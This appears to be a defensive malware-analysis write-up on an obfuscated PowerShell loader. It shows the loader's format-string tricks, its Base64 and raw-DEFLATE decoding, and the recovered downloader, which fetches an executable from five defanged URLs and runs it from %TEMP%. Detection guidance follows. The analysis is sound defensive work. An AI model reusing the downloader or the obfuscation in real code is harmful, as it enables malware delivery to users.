Scope and safety
This is a static, sample-led analysis. The domains are historical and are defanged below, but they should still be treated as malicious artifacts. Do not paste the original script into an interactive PowerShell session. Work on a copy, preserve hashes at each stage, and perform transformations with tools that do not evaluate the recovered code.
The old version of this note described the technique as “AST obfuscation.” That was imprecise. The sample uses PowerShell syntax, format-string reordering, mixed case, dynamic command construction, replacement operations, Base64, and compression. An abstract syntax tree is useful for analyzing and normalizing those expressions; it is not the hidden payload.
Reading the outer layer
At first glance the loader is a wall of reordered string fragments. The outer layer has three jobs:
- construct the .NET
Environmenttype without writing its name normally; - construct
iex, the PowerShell alias forInvoke-Expression; - reassemble a command that Base64-decodes and decompresses the inner script before evaluating it.

Two small expressions reveal the approach. The first uses PowerShell’s format operator to reorder fragments:
[type]("{2}{1}{0}{3}" -f 'NM', 'O', 'eNvIR', 'ent')
# Format indexes 2,1,0,3 produce:
# eNvIR + O + NM + ent → eNvIRONMENT → EnvironmentThe second derives the command that executes the recovered text:
([string]$VerbosePreference)[1,3] + 'x' -join ''
# With the normal value "SilentlyContinue":
# index 1 = i, index 3 = e, then x → iexNormalizing the PowerShell
DeobShell is useful for turning format operations and dynamically built expressions into something readable. The important analytical habit is to review each simplification. Automated output is a hypothesis about what the source evaluates to, not a reason to stop reading the source.

Reduced to its functional core, the outer layer is equivalent to:
$encoded = "<Base64 data>"
$bytes = [Convert]::FromBase64String($encoded)
$stream = New-Object IO.MemoryStream(,$bytes)
$deflate = New-Object IO.Compression.DeflateStream(
$stream,
[IO.Compression.CompressionMode]::Decompress
)
$reader = New-Object IO.StreamReader($deflate, [Text.Encoding]::ASCII)
$innerScript = $reader.ReadToEnd()
# The original passes $innerScript to Invoke-Expression.
# Analysis should save or print it instead.Base64 and raw DEFLATE
Base64 is an encoding, not encryption. Decoding it produces compressed bytes, not readable PowerShell. The call to .NETDeflateStream tells us what the next operation must be. In CyberChef, the reproducible recipe is:
- From Base64
- Raw Inflate
- Decode text as ASCII, matching the sample

“Raw” matters. A gzip recipe expects a gzip header and footer that this byte stream does not contain. The sample itself identifies the correct container through the API it calls.
The recovered downloader
Once decompressed, the behavior is direct. The sample creates aNet.WebClient, splits a list of five URLs, writes the first successful response to %TEMP%\378.exe, executes it withInvoke-Item, and stops trying additional locations.
$client = New-Object Net.WebClient
$sources = @(
'hxxp://cine80[.]co[.]kr/wvw/qhKE5rlkR',
'hxxp://listyourhomes[.]ca/o5qDsWBe',
'hxxp://hire-van[.]com/6dusyh9w3',
'hxxp://icxturkey[.]com/nE2YMAjUK',
'hxxp://spolarich[.]com/vlJ2o3k2h7'
)
$target = "$env:TEMP\378.exe"
foreach ($source in $sources) {
try {
$client.DownloadFile($source, $target)
Invoke-Item $target
break
} catch { }
}| Code | Observed behavior | Analytical value |
|---|---|---|
Net.WebClient | HTTP file retrieval | Useful with PowerShell script-block, module, AMSI, and network telemetry |
| Five source URLs | Sequential fallback | Infrastructure set from the sample; historical status must be checked separately |
%TEMP%\378.exe | Fixed destination path | File creation and execution join on the affected host |
Invoke-Item | Executes the downloaded file | Links the script stage to process creation |
Empty catch | Suppresses failed downloads | Explains repeated connection attempts without visible error output |
The snippet does not establish persistence, steal credentials, or prove what 378.exe does. Those behaviors may exist in the next stage, but they cannot be attributed to this script without acquiring and analyzing that payload.
Detection opportunities
The strongest detections join multiple stages. Any one of the following may occur legitimately; the sequence is much harder to dismiss:
- PowerShell evaluates a script with heavy format-string construction and dynamic invocation.
- The process decodes Base64 data and instantiates a
DeflateStream. Net.WebClient.DownloadFilewrites an executable into a user-writable temporary directory.- PowerShell or its child process executes that newly written file.
- The host contacts several unrelated domains until one request succeeds.
Data worth retaining
- PowerShell script-block and module logging, with the applicable privacy and retention controls.
- AMSI or EDR content before and after deobfuscation.
- Process creation with parent, command line, user, integrity level, and hash.
- File creation and execution from temporary directories.
- Process-attributed DNS and network connections.
What the sample proves
The sample proves a delivery chain: obfuscated PowerShell reconstructs an execution primitive, decodes and decompresses a second script, then tries several locations until it can download and execute a Windows binary. It also gives defenders stable analytical joins across script, network, file, and process telemetry.
The analysis becomes clearer when each layer is treated as a discrete transformation. There is no need to describe every string fragment as an advanced technique. Most of the script is camouflage around a small, testable downloader.